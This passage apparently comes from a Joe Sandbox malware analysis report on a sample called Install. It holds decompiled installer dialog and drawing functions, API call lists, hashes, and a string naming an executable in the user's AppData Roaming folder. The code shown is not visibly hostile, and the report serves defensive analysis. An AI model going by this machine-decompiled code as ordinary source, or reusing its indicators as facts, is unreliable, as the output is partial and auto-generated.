SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040531B
ImageList_Destroy.COMCTL32(?), ref: 00405330
GlobalFree.KERNEL32 ref: 00405340
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053B9
SendMessageW.USER32(?,00001102,?,?), ref: 00405462
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405471
InvalidateRect.USER32(?,00000000,00000001), ref: 0040549C
ShowWindow.USER32(?,00000000), ref: 004054EA
GetDlgItem.USER32 ref: 004054F5
ShowWindow.USER32(00000000), ref: 004054FC

Strings

M, xrefs: 004050BA
N, xrefs: 0040519B
, xrefs: 004054D4

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 8650db15f8eec7f2c7436ff7bc9e6097db9116c58dec0643669c66b6eab2f928
Instruction ID: 669472b6e39b4296dbb294a81ed98d86f32f22d8abeb4cff7518c6a892085abf
Opcode Fuzzy Hash: 8650db15f8eec7f2c7436ff7bc9e6097db9116c58dec0643669c66b6eab2f928
Instruction Fuzzy Hash: EF028A70900608EFDB20DFA9DD45AAF7BB5FB84314F10817AE610BA2E0D7799942DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9A Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00403F9A(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x42d250 = _t34;
					if(_t130 == 0x110) {
						 *0x434f08 = _t127;
						 *0x42d264 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x42b230 = _t91;
						E00404499(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x433ee8);
						 *0x433ecc = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x42d250 = 1;
					}
					_t124 =  *0x40a368; // 0xffffffff
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x434f20;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E004044E5(0x40b);
						while(1) {
							_t36 =  *0x42d250;
							 *0x40a368 =  *0x40a368 + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a368; // 0xffffffff
							__eflags = _t38 -  *0x434f24;
							if(_t38 ==  *0x434f24) {
								E0040140B(1);
							}
							__eflags =  *0x433ecc - _t136;
							if( *0x433ecc != _t136) {
								break;
							}
							__eflags =  *0x40a368 -  *0x434f24; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E0040657A(_t117, _t127, _t133, 0x445000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E00404499(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E00404499(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x434f8c - _t136;
							_v28 = _t48;
							if( *0x434f8c != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008);
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
							E004044BB(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x42b230, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x434f8c - _t136;
							if( *0x434f8c == _t136) {
								_push( *0x42d264);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x42b230);
							}
							E004044CE();
							E0040653D(0x42d268, E00403F7B());
							E0040657A(0x42d268, _t127, _t133,  &(0x42d268[lstrlenW(0x42d268)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x42d268);
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x433ed8);
									 *0x42c240 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x434f00,  *_t133 +  *0x433ee0 & 0x0000ffff, _t127,  *(0x40a36c +  *(_t133 + 4) * 4), _t133);
									__eflags = _t73 - _t136;
									 *0x433ed8 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E00404499(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x433ed8, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x433ecc - _t136;
									if( *0x433ecc != _t136) {
										goto L63;
									}
									ShowWindow( *0x433ed8, 8);
									E004044E5(0x405);
									goto L60;
								}
								__eflags =  *0x434f8c - _t136;
								if( *0x434f8c != _t136) {
									goto L63;
								}
								__eflags =  *0x434f80 - _t136;
								if( *0x434f80 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x433ed8);
						 *0x434f08 = _t136;
						EndDialog(_t127,  *0x42ba38);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x433ed8, 0x40f, 0, 1);
						__eflags =  *0x433ecc;
						return 0 |  *0x433ecc == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x42d248, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x433ed8, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x434f8c - _t136;
											if( *0x434f8c == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x42ba38 = 1;
												L23:
												_push(0x78);
												L24:
												E00404472();
												goto L28;
											}
											E0040140B(_t129);
											 *0x42ba38 = _t129;
											goto L23;
										}
										__eflags =  *0x40a368 - _t136; // 0xffffffff
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x433ed8);
						 *0x433ed8 = _t122;
						L60:
						if( *0x42f268 == _t136 &&  *0x433ed8 != _t136) {
							ShowWindow(_t127, 0xa);
							 *0x42f268 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x42d248,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E00404500(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x00403fa5
0x00403fac
0x00404113
0x00404117
0x0040411b
0x0040411d
0x00404122
0x0040412d
0x00404138
0x0040413d
0x0040413f
0x00404141
0x00404144
0x00404149
0x00404157
0x00404164
0x0040416b
0x0040416b
0x0040416c
0x0040416c
0x00404171
0x00404177
0x0040417e
0x00404184
0x00404186
0x004041c6
0x004041cb
0x004041d0
0x004041d0
0x004041d5
0x004041de
0x004041e0
0x004041e5
0x004041eb
0x004041ef
0x004041ef
0x004041f4
0x004041fa
0x00000000
0x00000000
0x00404205
0x0040420b
0x00000000
0x00000000
0x00404214
0x0040421c
0x00404221
0x00404224
0x0040422a
0x0040422f
0x00404232
0x00404238
0x0040423d
0x00404240
0x00404246
0x0040424e
0x00404254
0x0040425a
0x0040425e
0x00404265
0x00404265
0x00404265
0x0040426f
0x00404281
0x0040428d
0x00404292
0x0040429c
0x004042a2
0x004042a4
0x004042a9
0x004042a6
0x004042a6
0x004042a6
0x004042b9
0x004042d1
0x004042d3
0x004042d9
0x004042ee
0x004042db
0x004042e4
0x004042e6
0x004042e6
0x004042f4
0x00404305
0x0040431b
0x00404322
0x00404328
0x0040432c
0x00404331
0x00404333
0x00000000
0x00404339
0x00404339
0x0040433b
0x00000000
0x00000000
0x00404341
0x00404345
0x0040436a
0x00404370
0x00404376
0x00404378
0x00000000
0x00000000
0x0040439e
0x004043a4
0x004043a6
0x004043ab
0x00000000
0x00000000
0x004043b1
0x004043b4
0x004043b7
0x004043ce
0x004043da
0x004043f3
0x004043f9
0x004043fd
0x00404402
0x00404408
0x00000000
0x00000000
0x00404412
0x0040441d
0x00000000
0x0040441d
0x00404347
0x0040434d
0x00000000
0x00000000
0x00404353
0x00404359
0x00000000
0x00000000
0x00000000
0x0040435f
0x00404333
0x0040442a
0x00404436
0x0040443d
0x00000000
0x00404188
0x00404188
0x0040418b
0x004041be
0x004041be
0x004041c0
0x00000000
0x00000000
0x00000000
0x004041c0
0x0040418d
0x00404191
0x00404196
0x00404198
0x00000000
0x00000000
0x004041a8
0x004041b0
0x00000000
0x004041b6
0x00403fbe
0x00403fbe
0x00403fc2
0x00403fc7
0x00403fd6
0x00403fd6
0x00403fdc
0x00403fe3
0x00404027
0x0040402d
0x00404046
0x00404049
0x0040405c
0x00404062
0x00000000
0x00000000
0x00404068
0x00404073
0x00404075
0x00404077
0x00404096
0x00404096
0x00404099
0x0040409e
0x004040a1
0x004040b1
0x004040b2
0x004040b4
0x004040ea
0x004040fa
0x00000000
0x004040fa
0x004040b6
0x004040bc
0x004040d5
0x004040da
0x004040dc
0x00000000
0x00000000
0x004040de
0x004040ca
0x004040ca
0x004040cc
0x004040cc
0x00000000
0x004040cc
0x004040bf
0x004040c4
0x00000000
0x004040c4
0x004040a3
0x004040a9
0x00000000
0x00000000
0x004040ab
0x00000000
0x004040ab
0x0040409b
0x00000000
0x0040409b
0x00404081
0x00404088
0x0040408e
0x00404090
0x00404466
0x00000000
0x00404466
0x00000000
0x00404090
0x0040404e
0x00000000
0x00404056
0x00404035
0x0040403b
0x00404443
0x00404449
0x00404456
0x0040445c
0x0040445c
0x00000000
0x00403fe5
0x00403fea
0x00403ff6
0x00403fff
0x00404100
0x00000000
0x0040401e
0x00404021
0x00000000
0x00404021
0x00403fff
0x00403fe3

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FD6
ShowWindow.USER32(?), ref: 00403FF6
GetWindowLongW.USER32(?,000000F0), ref: 00404008
ShowWindow.USER32(?,00000004), ref: 00404021
DestroyWindow.USER32 ref: 00404035
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040404E
GetDlgItem.USER32 ref: 0040406D
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404081
IsWindowEnabled.USER32(00000000), ref: 00404088
GetDlgItem.USER32 ref: 00404133
GetDlgItem.USER32 ref: 0040413D
SetClassLongW.USER32(?,000000F2,?), ref: 00404157
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A8
GetDlgItem.USER32 ref: 0040424E
ShowWindow.USER32(00000000,?), ref: 0040426F
EnableWindow.USER32(?,?), ref: 00404281
EnableWindow.USER32(?,?), ref: 0040429C
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042B2
EnableMenuItem.USER32 ref: 004042B9
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042D1
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042E4
lstrlenW.KERNEL32(0042D268,?,0042D268,00000000), ref: 0040430E
SetWindowTextW.USER32(?,0042D268), ref: 00404322
ShowWindow.USER32(?,0000000A), ref: 00404456

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: f65e638bec718107b599af9a82b264fc0764d6b1c1dffbdcb4ef221558e01a13
Instruction ID: 19e8ffe36521fda3862950d2389d84f1ef0c133ac5ff71005f69e3a94542e2f3
Opcode Fuzzy Hash: f65e638bec718107b599af9a82b264fc0764d6b1c1dffbdcb4ef221558e01a13
Instruction Fuzzy Hash: DDC1A1B1A00704ABDB206F61EE49E2B3A68FB84746F15053EF741B61F1CB799841DB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00404658 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404658(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x42b234 =  *0x42b234 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E00404500(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x432ea0;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404907(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x434f08, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x434f08, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x42b234 != 0) {
						goto L27;
					} else {
						_t116 =  *0x42c240 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004044BB(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E004048E3();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x433edc - 4 + _t75 * 4);
				}
				_t76 =  *0x434f38 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404609;
				if(_t110 != 2) {
					_v8 = E004045CF;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E00404499(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E00404499(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004044BB( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004044CE(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x434f10 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x42b234 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x42b234 = 0;
				return 0;
			}

0x0040466a
0x00404797
0x004047f4
0x004047f8
0x004048c5
0x004048c7
0x004048c7
0x004048cd
0x004048cd
0x004048d0
0x00000000
0x004048d7
0x00404806
0x0040480c
0x00404816
0x00404821
0x00404824
0x00404827
0x00404832
0x00404835
0x0040483c
0x00404849
0x0040485a
0x00404860
0x00404868
0x00404876
0x0040487c
0x0040487c
0x0040483c
0x00404886
0x00000000
0x00404891
0x00404895
0x004048a5
0x004048a5
0x004048ab
0x004048b7
0x004048b7
0x00000000
0x004048bb
0x00404886
0x004047a2
0x00000000
0x004047b4
0x004047b9
0x004047bf
0x00000000
0x00000000
0x004047e8
0x004047ea
0x004047ef
0x00000000
0x004047ef
0x004047a2
0x00404670
0x00404673
0x00404678
0x00404689
0x00404689
0x00404691
0x00404694
0x00404698
0x0040469b
0x0040469f
0x004046a2
0x004046a5
0x004046a8
0x004046af
0x004046b1
0x004046b1
0x004046bb
0x004046c8
0x004046d2
0x004046d7
0x004046da
0x004046df
0x004046f6
0x004046fd
0x00404710
0x00404713
0x00404727
0x0040472e
0x00404733
0x00404738
0x00404738
0x00404746
0x00404754
0x00404766
0x0040476b
0x0040477b
0x0040477d
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046F6
GetDlgItem.USER32 ref: 0040470A
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404727
GetSysColor.USER32(?), ref: 00404738
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404746
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404754
lstrlenW.KERNEL32(?), ref: 00404759
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404766
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040477B
GetDlgItem.USER32 ref: 004047D4
SendMessageW.USER32(00000000), ref: 004047DB
GetDlgItem.USER32 ref: 00404806
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404849
LoadCursorW.USER32(00000000,00007F02), ref: 00404857
SetCursor.USER32(00000000), ref: 0040485A
LoadCursorW.USER32(00000000,00007F00), ref: 00404873
SetCursor.USER32(00000000), ref: 00404876
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048A5
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B7

Strings

N, xrefs: 004047F4
C:\Users\user\AppData\Roaming\34432.exe, xrefs: 00404835

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: C:\Users\user\AppData\Roaming\34432.exe$N
API String ID: 3103080414-2212789012
Opcode ID: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction ID: e0aa441e67ff77812dea5cfa76c138b5706349c0d06c8e95e02877fce1cb63d1
Opcode Fuzzy Hash: ce357ac6e0fd4f2b4f67e04795876aef6a46bd5fea1783cb4cf669a44dc9f0f8
Instruction Fuzzy Hash: 1A61A3B5900209BFDB10AF60DD85E6A7BA9FB44314F00843AFB05B62D0D778A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x434f10;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x433f00, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x434f08;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000001.00000002.225025140.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.225012224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225062362.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225071599.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225077053.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225106103.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225114682.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.225119800.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Install.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction ID: e457e53e67a16f607b198c8be77aa7e47a8fd9e6aa67a1a07366d16d1d2d9a76
Opcode Fuzzy Hash: 15a6b7738402934ac822911e252168026e8f0364f08849f6e110b85e8bc9718e
Instruction Fuzzy Hash: 0E418B71800209AFCF058FA5DE459AF7FB9FF44315F04802AF991AA1A0C738AA55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00406183 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406183(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x430908 = 0x55004e;
				 *0x43090c = 0x4c;
				if(_t44 == 0) {
					L3:
